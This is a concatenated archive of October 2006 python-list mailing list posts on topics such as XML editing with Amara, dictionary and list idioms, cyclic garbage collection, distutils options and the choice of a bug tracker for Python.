> > f=open('test.xml','a')
> >
> > and append a line "<Body2>abc</Body2>" before  tag </Top>
>
> The other guys are right - you should look at something like
> ElementTree which makes this sort of thing pretty easy, and is robust.
> But if you are sure that:
>
> 1) </Top> is going to be on its own line (rather than something like
> </Body1></Top>)
> 2) the ending tag will *definitely* have no extraneous whitespace (e.g.
> < / Top >)
>
> then the following will probably be the simplest solution:
>
> f=open('test.xml')
> out = []
> for line in f:
>     if "</Top>" in line:
>         out.append("<Body2>abc</Body2>")
>     out.append(line")
>
> f.close()
>
> f_out = open("test.xml", "w")
> f.write("".join(out))
> f_out.close()

And the most dangerous solution.  Start with the line
"out.append(line")"

And have a look at the many failure possibilities I detail here:

http://www.xml.com/pub/a/2002/11/13/py-xml.html

Then add to that the fact that "</Top>" can legitimately appear in an
XML comment, so that logic is even more brittle.

The following code does this *safely* with Amara:

import amara
doc = amara.parse('test.xml')
top = doc.xml_xpath('//Top')[0]
top.xml_parent.xml_insert_before(top, doc.xml_create_element(u'Body2',
content=u'abc'))
top.xml(stream=open('test.xml', 'w'))

Amara: http://uche.ogbuji.net/tech/4suite/amara/


--
Uche Ogbuji                               Fourthought, Inc.
http://uche.ogbuji.net                    http://fourthought.com
http://copia.ogbuji.net                   http://4Suite.org
Articles: http://uche.ogbuji.net/tech/publications/



From skip at pobox.com  Tue Oct 31 13:23:39 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 31 Oct 2006 12:23:39 -0600
Subject: "best" rational number library for Python?
In-Reply-To: <7xvem0nyff.fsf@ruckus.brouhaha.com>
References: <mailman.1558.1162317188.11739.python-list@python.org>
	<7xvem0nyff.fsf@ruckus.brouhaha.com>
Message-ID: <17735.38059.44204.665906@montanaro.dyndns.org>


    Paul> There are certainly some of those around, but I'm surprised
    Paul> there's a problem with GMP and Solaris.

That was my thought as well.

Skip


From katy.n.jac at gmail.com  Mon Oct 23 00:33:44 2006
From: katy.n.jac at gmail.com (Jac)
Date: Mon, 23 Oct 2006 13:33:44 +0900
Subject: sigmaplot key
Message-ID: <a527f1ea0610222133h748f3017m6c6f6d63b444372f@mail.gmail.com>

key for sigmaplot 10 please
-------------- next part --------------
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From http  Wed Oct 25 14:24:51 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 11:24:51 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
Message-ID: <7xac3kb6do.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
>          if dlg.ShowModal() == wx.ID_OK:
>              db_name = dlg.GetValue()
>              dlg.Destroy()
>              return db_name
>          else:
>              dlg.Destroy()
>              return

I like

    if dlg.ShowModal() == wx.ID_OK:
         db_name = dlg.GetValue()
    else:
         db_name = None
    dlg.Destroy()
    return db_name

better than

    db_name = None
    if dlg.ShowModal() == wx.ID_OK:
         db_name = dlg.GetValue()
    dlg.Destroy()
    return db_name

but I suppose it's a matter of preference.


From bignose+hates-spam at benfinney.id.au  Tue Oct 24 19:46:44 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 09:46:44 +1000
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org> <021801c6f734$cb375900$03000080@hendrik>
	<mailman.1045.1161676688.11739.python-list@python.org>
	<453E4F0D.9050809@v.loewis.de>
Message-ID: <87wt6pnuor.fsf@benfinney.id.au>

"Martin v. L?wis" <martin at v.loewis.de> writes:

> In my experience [...] it's either the original author who provides
> binaries, or none are provided.  People certainly build it
> themselves, but then never share.

IIRC, the early days of Mozilla (after the code was released as free
software) had the developers releasing source code, and the community
providing binary builds.

Battle for Wesnoth also works this way.

> There are exceptions, of course: when communities are built. There
> is no question that binaries are available with the Linux
> distributions, and the various Sun, HP, IBM, Darwinports, etc. free
> software sites also have an established contributorship. For
> Windows, such communities apparently don't form, for some reason.

All the cases I can recall are for projects where the code is designed
to work on multiple architectures without much tweaking. So it seems
to fit this case fine.

-- 
 \      "God forbid that any book should be banned. The practice is as |
  `\               indefensible as infanticide."  -- Dame Rebecca West |
_o__)                                                                  |
Ben Finney



From deets at nospam.web.de  Fri Oct  6 07:10:47 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 06 Oct 2006 13:10:47 +0200
Subject: Skullsocks to the rescue - was [irrelevant squabble of IL]
In-Reply-To: <mailman.1448.1160130030.10491.python-list@python.org>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>	<mailman.1388.1160089812.10491.python-list@python.org>	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>	<4omn7jFfe26cU1@uni-berlin.de>
	<mailman.1448.1160130030.10491.python-list@python.org>
Message-ID: <4omrtoFf9r6gU1@uni-berlin.de>

Fredrik Lundh schrieb:
> Diez B. Roggisch wrote:
> 
>> This is on the same level of interest to the communities of python, 
>> ruby & java as the color of my socks this morning - a deep black with 
>> cute little skulls imprinted.
> 
> are they perhaps red or green?  and look something like the skulls on this:

Due to the unexpected interest in my foot-garments, I here present
an image of  my current collection of skullsocks(tm)


http://www.roggisch.de/img/skullsocks.jpg


They can be bought at our friendly swedish clothes retailer, H&M.

Have a nice day :)

Diez


From evilrottenspawn at gmail.com  Sat Oct 14 19:42:43 2006
From: evilrottenspawn at gmail.com (spawn)
Date: 14 Oct 2006 16:42:43 -0700
Subject: Ok. This IS homework ...
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
	<1160867758.584637.101360@m73g2000cwd.googlegroups.com>
Message-ID: <1160869363.651855.204820@i3g2000cwc.googlegroups.com>

> Also, you never break out of your deepest loop, why are you using two
> nested infinite-loops anyway?
>
> Regards,
> Brett Hoerner

Ummmmmm ..because I'm new to programming?  Actually, they do end.  If I
move my "guess" variable outside the outermost loop, then it becomes
infinte.  I know, I tried it.

You guys are fast!  I'll reread my documentation and try a few more
thing (I kept telling myself that running_total and subotal don't need
to be different variables!) and see what I get.

As for that last post (I don't remember your name), ummmmmm ... WOW!
This is BEGINNING Python.  That looks far too advanced for me.



From buzzard at urubu.freeserve.co.uk  Sat Oct  7 20:14:47 2006
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Sun, 08 Oct 2006 01:14:47 +0100
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160262952.734016.306150@e3g2000cwe.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
Message-ID: <452846fe.0@entanet>

MonkeeSage wrote:
> On Oct 7, 12:37 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> 
>>for what?
> 
> 
>   key in self.keys()
> 

[snip]

No.  The above constructs a list of keys and searches the list for the
key, O(n).  "key in somedict" is a lookup, O(1).

Duncan


From chris at kateandchris.net  Thu Oct 12 11:26:39 2006
From: chris at kateandchris.net (Chris Lambacher)
Date: Thu, 12 Oct 2006 11:26:39 -0400
Subject: is there an easy way to create a database on the fly and let the
	user input values
In-Reply-To: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
Message-ID: <20061012152639.GB32447@kateandchris.net>

I've heard good things about Dabo: http://dabodev.com/
On Wed, Oct 11, 2006 at 09:44:37PM -0700, Eric_Dexter at msn.com wrote:
>      I don't realy care what database I use wx.grid or whatever.  I
> wan't it to look at a line
> 
> 128 9023 23428 exc and create the database or pick something out of the
> file as  some sort of a descrition line and then display and allow the
> user to change and add new lines.  What is the easiest set of database
> routines to use for such a project???
> 
> http://www.dexrow.com
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list


From pavlovevidence at gmail.com  Fri Oct 20 11:15:03 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 20 Oct 2006 08:15:03 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.787.1161291551.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
	<yhRZg.12485$TV3.4900@newssvr21.news.prodigy.com>
	<mailman.787.1161291551.11739.python-list@python.org>
Message-ID: <1161357303.082828.102550@m7g2000cwm.googlegroups.com>


skip at pobox.com wrote:
> The extended slice notation comes from the
> numeric community though where they are probably all former FORTRAN
> programmers.  I think the concept of start, stop, step (or stride?) is
> pretty common there.

Yep.  I do a bit of numerical work and the meaning of abc[::-1] is
plain as day to me.

One thing I'd like to point out is that few people seem to be thrown
off when slices are used to twiddle list elements.  A few days back
there was a thread about reordering a list such as [1,2,3,4,5,6,7,8,9]
as [1,4,7,2,5,8,3,6,9], and the advice was along the lines of
a[0::3]+a[1::3]+a[2::3].  I don't remember any complaints about the the
notation there.

I think the problem here isn't the slice notation; it's the use of
slice notation for something that seems conceptually distinct.  People
who aren't used to doing a lot of slicing don't always have the
connection between "reversing" and "slicing" in mind.  It wouldn't
occur to them to accomplish a reverse with a slice, and it would
surprise them a bit to see it.


Carl



From snaury at gmail.com  Sat Oct 14 20:25:01 2006
From: snaury at gmail.com (Alexey Borzenkov)
Date: 14 Oct 2006 17:25:01 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
In-Reply-To: <1160870083.987602.52690@f16g2000cwb.googlegroups.com>
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160867101.267052.113280@h48g2000cwc.googlegroups.com>
	<1160870083.987602.52690@f16g2000cwb.googlegroups.com>
Message-ID: <1160871901.154291.141030@f16g2000cwb.googlegroups.com>

bearophileHUGS at lycos.com wrote:
> but maybe it reduces code readabilty a bit for people
> that have just started to program:
>
> mul2 = def(a, b):
>     return a * b
>
> Instead of:
>
> def mul2(a, b):
>     return a * b

For such simple cases, yes. What about:

  button.click += def(obj):
    # do stuff

You obviously can't:

  def button.click(obj):
    # do stuff

:-) And if you make intermediate function and then assign it somewhere,
it "pollutes namespace": it's still left there, unneeded.



From fredrik at pythonware.com  Sun Oct  8 17:19:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 23:19:11 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <452966A2.1090107@v.loewis.de>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<YzoVg.137036$zy5.1843214@twister1.libero.it>	<mailman.1477.1160171746.10491.python-list@python.org>	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de>
Message-ID: <egbq0f$iah$1@sea.gmane.org>

Martin v. L?wis wrote:

>>From my experience with GCC, I can only report that this is definitely
> not working. There used to be a mailing list bugs at gcc.gnu.org, and
> reports got either answered immediately, or not at all. People who
> thought they were responsible put the mails in some folder, and then
> never found the time to come back.

you need tools to help you track the bugs and their status, but you can 
handle issue registration, discussion, and most maintenance stuff using 
good old mail just fine.

</F>



From martin at v.loewis.de  Mon Oct  9 18:41:17 2006
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Tue, 10 Oct 2006 00:41:17 +0200
Subject: distutils: optionally build C bindings to an external library
In-Reply-To: <mailman.139.1160425037.11739.python-list@python.org>
References: <mailman.139.1160425037.11739.python-list@python.org>
Message-ID: <452AD00D.8000103@v.loewis.de>

Kirill Simonov schrieb:
> I've written a pure Python module, which could optionally use an
> external C library. The external library is not required to be on the
> user computer however, so I'd like not to build the bindings by default,
> but allow a user to turn the build on by specifying some parameter to
> `setup.py`. Basically, it should work like
>     ./configure --with-some-lib[=/path]
> 
> Unfortunately I'm not quite sure how to implement this and I'm already
> lost in the distutils internals. Could someone point me to the correct
> direction, perhaps giving me a reference to an existing distutils
> script?

You can add any parameters to setup.py yourself; just look for the
parameter, and then remove it from argv before invoking distutils.
It would be even better if the user wouldn't have to specify the
location, but instead setup.py looked at a few candidate places
itself.

If you really want to use the distutils command line option processing
machinery, you should inherit from the build command, extend
user_options (by putting a new user_options into the subclass, rather
than appending to the user_options of the base class), and overwrite
initialize_options and finalize_options (calling the base class).
If "build" is too broad, "build_ext" might be the better place.

Regards,
Martin


From onurb at xiludom.gro  Mon Oct  2 06:31:04 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 02 Oct 2006 12:31:04 +0200
Subject: [OT] windev vs python SOS
In-Reply-To: <mailman.1077.1159779510.10491.python-list@python.org>
References: <nXzSg.195$nn3.31@nntpserver.swip.net><0001HW.C14424C100B023CEF0488530@news.individual.de><1159632848.993229.58300@m7g2000cwm.googlegroups.com>	<4520d2c7$0$2782$636a55ce@news.free.fr>
	<mailman.1077.1159779510.10491.python-list@python.org>
Message-ID: <4520ea69$0$2292$626a54ce@news.free.fr>

Fredrik Lundh wrote:
> Bruno Desthuilliers wrote:
> 
>> Amanda wrote:
>> (snip)
>>> I am always amazed when I meet fanatics!!
>> I'm always amazed when I meet PC-Soft's salespersons...
> 
> isn't there some non-python forum where you can sort this one out ?

Yes, you're right, sorry...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From deets at nospam.web.de  Mon Oct 16 12:42:00 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Mon, 16 Oct 2006 18:42:00 +0200
Subject: Strange Behavior
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<Xns985E9DBA6164FrtwfreenetREMOVEcouk@216.196.109.145>
	<1161009601.471687.279310@m7g2000cwm.googlegroups.com>
Message-ID: <4phr2oFj1ecvU1@uni-berlin.de>

abcd wrote:

> Rob Williscroft wrote:
>> http://docs.python.org/ref/function.html#l2h-619
> 
> 
> thanks.  weird that it works that way since they even state "This is
> generally not what was intended."

The "not intended" refers to the programmer making the mistake of creating a
shared instance - which usually isn't intended, as you yourself are an
example of.

Diez


From uche.ogbuji at gmail.com  Tue Oct 10 10:30:36 2006
From: uche.ogbuji at gmail.com (uche.ogbuji at gmail.com)
Date: 10 Oct 2006 07:30:36 -0700
Subject: WSGI - How Does It Affect Me?
In-Reply-To: <1160363775.763070.209140@c28g2000cwb.googlegroups.com>
References: <mailman.70.1160336094.11739.python-list@python.org>
	<1160363775.763070.209140@c28g2000cwb.googlegroups.com>
Message-ID: <1160490636.099166.10480@e3g2000cwe.googlegroups.com>

goon wrote:
> > Trying to research this on the web now
>
> Lots of articles now appearing summarising WSGI ...
>
> For definitive reference:
>
>     <http://www.python.org/dev/peps/pep-0333/> [0]
>
> Overview:
>
>     <http://www.xml.com/lpt/a/1674>  [1] and
>     <http://www.xml.com/lpt/a/1675>  [2]

And also the following article, by me, focusing on middleware:

http://www.ibm.com/developerworks/library/wa-wsgi/
(cover Weblog entry: http://copia.ogbuji.net/blog/2006-08-23/_Mix_and_m
)

--
Uche Ogbuji                               Fourthought, Inc.
http://uche.ogbuji.net                    http://fourthought.com
http://copia.ogbuji.net                   http://4Suite.org
Articles: http://uche.ogbuji.net/tech/publications/



From tim.peters at gmail.com  Thu Oct  5 21:20:03 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 5 Oct 2006 21:20:03 -0400
Subject: Question about turning off garbage collection
In-Reply-To: <4525ABE9.7020000@ilm.com>
References: <4525ABE9.7020000@ilm.com>
Message-ID: <1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com>

[David Hirschfield]
> Question from a post to pygtk list...but it probably would be better
> answered here:
>
> I encountered a nasty problem with an external module conflicting with
> my python threads recently, and right now the only fix appears to be to
> turn off garbage collection while the critical code of the thread is
> running, and then turn it back on afterwards.
>
> Now, I don't know much about how the garbage collector works in python,
> and in order to get the thread to run without freezing, I'm wrapping the
> threaded processing function with calls to gc.disable()/gc.enable().
>
> So what's that going to do?

Stop the /cyclic/ garbage-collection algorithm from running for as
long as it remains disabled.  Most garbage collection in Python, in
typical applications most of the time, is done by reference counting,
and /that/ can never be disabled.  Reference counting alone is not
strong enough to detect trash objects in cycles (like A points to B
and B points to A and nothing else points to either; they're
unreachable trash then, but the reference count on each remains 1).
The `gc` module controls cyclic garbage collection, which is a
distinct subsystem used to find and reclaim the trash cycles reference
counting can't find on its own.

> Will calling gc.enable() put things in good shape? Will all objects created while
> the garbage collector was off now be un-collectable?

No.  It has no effect except to /suspend/ running the cyclic gc
subsystem for the duration.  Trash related to cycles will pile up for
the duration.  That's all.

> I'm extremely wary of this solution, as I think anyone would be. I don't want a
> suddenly super-leaky app.

As above, most garbage should continue to get collected regardless.

> Comments? Suggestions? (I know, I know, avoid threads...if only I could)

Nothing wrong with threads.  My only suggestion is to dig deeper into
/why/ something goes wrong when cyclic gc is enabled.  That smells of
a serious bug, so that disabling cyclic gc is just papering over a
symptom of a problem that will come back to bite you later.  For
example, if some piece of code in an extension module isn't
incrementing reference counts when it should, that could /fool/ cyclic
gc into believing an object is trash /while/ the extension module
believes it has a valid pointer to it.  If so, that would be a serious
bug in the extension module.  Enabling cyclic gc should not create
problems for any correctly written C code.


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct  7 20:59:06 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 08 Oct 2006 10:59:06 +1000
Subject: Can't get around "IndexError: list index out of range"
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
Message-ID: <pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>

On Sat, 07 Oct 2006 17:25:15 -0700, MonkeeSage wrote:

> My point wasn't in regard to implementation details, but in regard to
> convenience methods. Obviously the sugary dict methods are tweaked for
> the best performance (one would hope!), as would be sugary sequence
> methods were they to be added. What I was wondering is why
> dict.has_key() and get() are there but not list.has_index() and get().

Because they aren't needed often, and when they are, they are easy to
implement?

Instead of list.has_index(n), write 0 <= n < len(list).

If you want to allow for negative indices as well, write
-len(list) <= n < len(list).


It is hard to see where list.get(index, default) would be useful, since
accessing an index out of range of a list is generally an error, unlike
accessing a missing key. But I like symmetry, and for symmetry I wouldn't
object to sequences gaining a get method too. Not that I care about it
enough to put in a feature request or a PEP, but if somebody else did, I
wouldn't object.

(Note, though, that accessing a *slice* out of range is not an error, but
returns an empty list.)

get() is easy enough to implement. Feel free to turn it into a method
of a collection class if you like.

def get(mapping_or_sequence, key_or_index, default=None):
    try:
        return mapping_or_sequence.get(key_or_index, default)
    except AttributeError:
        # probably a sequence
        try:
            return mapping_or_sequence[key_or_index]
        except IndexError:
            return default

Not every piece of functionality needs to be a built-in. 


-- 
Steven.



From fredrik at pythonware.com  Thu Oct 26 05:22:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 11:22:33 +0200
Subject: Printing Hidden Character in Python
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net><87ejsvihaj.fsf@benfinney.id.au>
	<3ACF03E372996C4EACD542EA8A05E66A0615D7@mailbe01.teak.local.net>
Message-ID: <ehpuop$esl$1@sea.gmane.org>

"Wijaya Edward" wrote:

> I mean while opening a file, like this
>
> for line in open('somefile.txt'):
>    print line
>
> printing "line" will not show the hidden chars like "\n","\r".
> Is there  a way to print it out?

    print repr(line)

</F> 





From clodoaldo.pinto at gmail.com  Wed Oct  4 15:28:42 2006
From: clodoaldo.pinto at gmail.com (Clodoaldo Pinto Neto)
Date: 4 Oct 2006 12:28:42 -0700
Subject: CGI Tutorial
Message-ID: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto



From bearophileHUGS at lycos.com  Mon Oct 16 16:27:00 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 16 Oct 2006 13:27:00 -0700
Subject: string splitting
In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com>
Message-ID: <1161030420.789281.319080@h48g2000cwc.googlegroups.com>

A pair of solutions:

>>> s = "central_african_republic_province.txt"
>>> s.rsplit("_", 1)[-1].split(".")[0]
'province'
>>> import re
>>> p = re.compile(r"_ ([^_]+) \.", re.VERBOSE)
>>> s = """\
... wisconsin_state.txt
... french_guiana_district.txt
... central_african_republic_province.txt"""
>>> p.findall(s)
['state', 'district', 'province']

Bye,
bearophile



From apardon at forel.vub.ac.be  Wed Oct  4 07:14:42 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 4 Oct 2006 11:14:42 GMT
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
Message-ID: <slrnei75t2.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-04, Georg Brandl <g.brandl-nospam at gmx.net> wrote:
> Antoon Pardon wrote:
>> On 2006-10-04, Paul Rubin <http> wrote:
>>> Antoon Pardon <apardon at forel.vub.ac.be> writes:
>>>> Now in this case you could start by assigning arg the value 1 and
>>>> eliminate the if test. However that only works if you know the
>>>> default value for the argument. What he seems to be asking for
>>>> is if there is an object, (let as call it Default), that would
>>>> make code like:
>>>> 
>>>>   def f(var=1):
>>>> 
>>>> Equivallent to:
>>>> 
>>>>   def f(var=Default)
>>>>     if var is Default)
>>>>       var = 1
>>>
>>> Oh, I see.  Yes, the OP should just use a distinct default value
>>> instead of 1.  I usually do this with
>>>
>>>    sentinel = object()
>>>
>>>    def f(var=sentinel):
>>>      if var is sentinel:
>>>        # f was called without an arg 
>> 
>> But that can only work if you are the author of f. Take the
>> following code:
>> 
>>   def myrepeat(obj, times = xxx):
>>     return itertools.repeat(obj, times)
>> 
>> What value do I have to substitue for xxx, so that myrepeat
>> will have the exact same function as itertools.repeat?
>
> There's no possible value. You'll have to write this like

Yes, that was the point I wanted to make. 

> def myrepeat(obj, times=None):
>      if times is None:
>          return itertools.repeat(obj)
>      else:
>          return itertools.repeat(obj, times)
>
> Many functions implemented in C have this behavior.

Which is a pity and IMO makes the documentation of these
functions a bit problematic. Take the itertool.repeat
documentation:

repeat(object[, times])
    Make an iterator that returns object over and over again. Runs
    indefinitely unless the times argument is specified. ...

My first impression from this, is that it is possible to call
this as follows:

  repeat(None, times = 5)

But that doesn't work either.

> For all functions written in Python, you can look up the default
> value in the source.

That wont help much if you would like something like the following:

   def fun(f):

     arg = Default
     try:
       arg = Try_Processing()
     except Nothing_To_Process:
       pass
     f(arg)

-- 
Antoon Pardon


From fredrik at pythonware.com  Sat Oct 28 22:04:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 03:04:00 +0100
Subject: unescape HTML entities
In-Reply-To: <ei0add$man$1@sea.gmane.org>
References: <ei0add$man$1@sea.gmane.org>
Message-ID: <ei126g$euh$1@sea.gmane.org>

Rares Vernica wrote:

> How can I unescape HTML entities like "&nbsp;"?

run it through an HTML parser.

or use something like this:

     http://effbot.org/zone/re-sub.htm#strip-html

(if you want to keep elements, change the regular expression in the 
re.sub call to "(?s)&#?\w+;")

> I know about xml.sax.saxutils.unescape() but it only deals with "&amp;", 
> "&lt;", and "&gt;".
> 
> Also, I know about htmlentitydefs.entitydefs, but not only this 
> dictionary is the opposite of what I need, it does not have "&nbsp;".

 >>> htmlentitydefs.entitydefs.get("nbsp")
'\xa0'

</F>



From osv at javad.com  Tue Oct 24 12:50:58 2006
From: osv at javad.com (Sergei Organov)
Date: Tue, 24 Oct 2006 20:50:58 +0400
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org> <ehld8u$68u$1@sea.gmane.org>
Message-ID: <ehlga7$kkq$1@sea.gmane.org>

Fredrik Lundh <fredrik at pythonware.com> writes:
> Sergei Organov wrote:
>
>> There is a better way to do it. Check if the toolkit has line drawing
>> mode that XORs the line color with the background, then draw using this
>> mode and white color of the line.
>
> which means that the selection looks like crap most of the time,

The selection? What selection? Did the OP or me talk about selection?

> and doesn't work at all on medium gray or b/w dithered patterns.

Yes, every method has its pros and cons, but XOR is probably most
efficient.

> for most cases, "marching ants" is a much better approach (usually done 
> by drawing alternating stippled patterns).  see e.g.

Where "most cases" depends on application. I'd be very upset to see,
say, 5-6 highly intersecting scientific plots on the same picture drawn
using the "marching ants" approach.

Besides, the marching ants doesn't work for printing :(

-- Sergei.



From annaraven at gmail.com  Sat Oct 21 16:51:00 2006
From: annaraven at gmail.com (Anna Ravenscroft)
Date: Sat, 21 Oct 2006 13:51:00 -0700
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
In-Reply-To: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
Message-ID: <cb361a610610211351w59bebf9r3cf79cac8e13b183@mail.gmail.com>

On 10/20/06, Brett Cannon <brett at python.org> wrote:
> At the beginning of the month the PSF Infrastructure committee announced
> that we had reached the decision that JIRA was our recommendation for the
> next issue tracker for Python development.  Realizing, though, that it was a
> tough call between JIRA and Roundup we said that we would be willing to
> switch our recommendation to Roundup if enough volunteers stepped forward to
> help administer the tracker, thus negating Atlassian's offer of free managed
> hosting.
>
> Well, the community stepped up to the challenge and we got plenty of
> volunteers!  In fact, the call for volunteers has led to an offer for
> professional hosting for Roundup from Upfront Systems.  The committee is
> currently evaluating that offer and will hopefully have a decision made
> soon.  Once a decision has been made we will contact the volunteers as to
> whom we have selected to help administer the installation (regardless of who
> hosts the tracker).  The administrators and python-dev can then begin
> working towards deciding what we want from the tracker and its
> configuration.
>
> Once again, thanks to the volunteers for stepping forward to make this
> happen!
>
> -Brett Cannon
> PSF Infrastructure committee chairman

Interestingly enough, the quote of the day from Google on this email was:

Never doubt that a small group of thoughtful, committed citizens can
change the world; indeed, it's the only thing that ever has.
Margaret Mead

It just seems highly appropriate. I'm very glad we decided to go with
Roundup. I've been impressed with its usability when I've had the
opportunity to use it.
-- 
cordially,
Anna
--
It is fate, but call it Italy if it pleases you, Vicar!


From mail at microcorp.co.za  Fri Oct  6 01:44:55 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 6 Oct 2006 07:44:55 +0200
Subject: tkinter newsgroup or mailing list
References: <eg3hvd$s9h$1@newsreader2.utanet.at>
Message-ID: <019c01c6e923$981b7020$03000080@hendrik>

"Franz Steinhaeusler" <franz.steinhaeusler at gmx.at> wrote:


> Hello NG,
>
> I'm asking this, (although I know a mailing list on gmane
> gmane.comp.python.tkinter and there is so little traffic
> compared to the mailing list of wxPython also mirrored
> on gmane gmane.comp.python.wxpython.
>
> I cannot imagine, that there is no more interest
> in exchanging opinions, or is this really the case?
>
> Is tkinter so simple, that no more questions appear?
> Or is it simply so uninteresting? :)
>
> --
> Franz Steinhaeusler

It is neither uninteresting, nor simple - see my very recent posts here... -
Hendrik



From martin at v.loewis.de  Tue Oct  3 15:58:44 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 03 Oct 2006 21:58:44 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7x1wppk21c.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<7x1wppk21c.fsf@ruckus.brouhaha.com>
Message-ID: <4522c0f4$0$29116$9b622d9e@news.freenet.de>

Paul Rubin schrieb:
> Ben Finney <bignose+hates-spam at benfinney.id.au> writes:
>> The existing SourceForge system runs on non-free software, which is a
>> significant differentiator from Bugzilla.
> 
> The SourceForge software, at least in some versions, is free software.
> See for example http://savannah.gnu.org for an instantiation, which
> may be a fork.  I never followed the saga much.

It is a fork of an old version. Existence of this version hasn't helped
a bit when we tried to get our data out of sf.net.

It would have been different if we had used the open source version
*and* hosted that ourselves. You only have a 100% guarantee that
you get the data out of the tracker if the data live on your own
disks (and you have good backup of these disks).

Regards,
Martin


From mahall at ncsa.uiuc.edu  Fri Oct  6 16:16:13 2006
From: mahall at ncsa.uiuc.edu (Matteo)
Date: 6 Oct 2006 13:16:13 -0700
Subject: extract certain values from file with re
